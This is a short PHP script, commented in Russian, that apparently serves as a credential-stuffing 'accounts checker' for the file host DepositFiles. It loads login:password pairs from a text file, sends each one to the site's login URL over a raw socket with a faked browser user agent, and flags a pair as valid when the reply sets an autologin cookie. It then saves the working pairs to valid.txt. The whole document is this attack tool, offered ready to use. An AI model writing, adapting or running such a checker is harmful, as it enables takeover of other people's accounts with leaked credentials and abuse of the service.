DepositFiles Accounts Checker
<?php
#################################
# DepositFiles Accounts Checker
#
#
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив
$valid=$invalid=0;
function Check($login,$pass) {
$fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
$out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n"; # Отправляем заголовки
$out .= "Host: depositfiles.com\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Connection: keep-alive\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite($fp,$out);
$ans = '';
while (!feof($fp)) {
$ans .= fgets($fp, 128); # ответ сервера
}
fclose($fp); # Закрываем сокеты
return strpos($ans,"autologin=") ? true : false; # Проверяем
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) { #цикл
list($login,$pass) = explode(":",trim($account[$i])); # разбиваем аккаунты на логин и пароль
if (Check($login,$pass)) { # Вызываем функцию проверки аккаунта
echo $login.':'.$pass.'<br />';
flush();
ob_flush();
$fd = fopen($vallist,'a+'); # открываем файл
fputs($fd,$account[$i]); # записываем в файл рабочий акк
fclose($fd); # закрываем файл
++$valid;
}else {++$invalid;}
}
echo "<br><h3>Итого</h3>Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>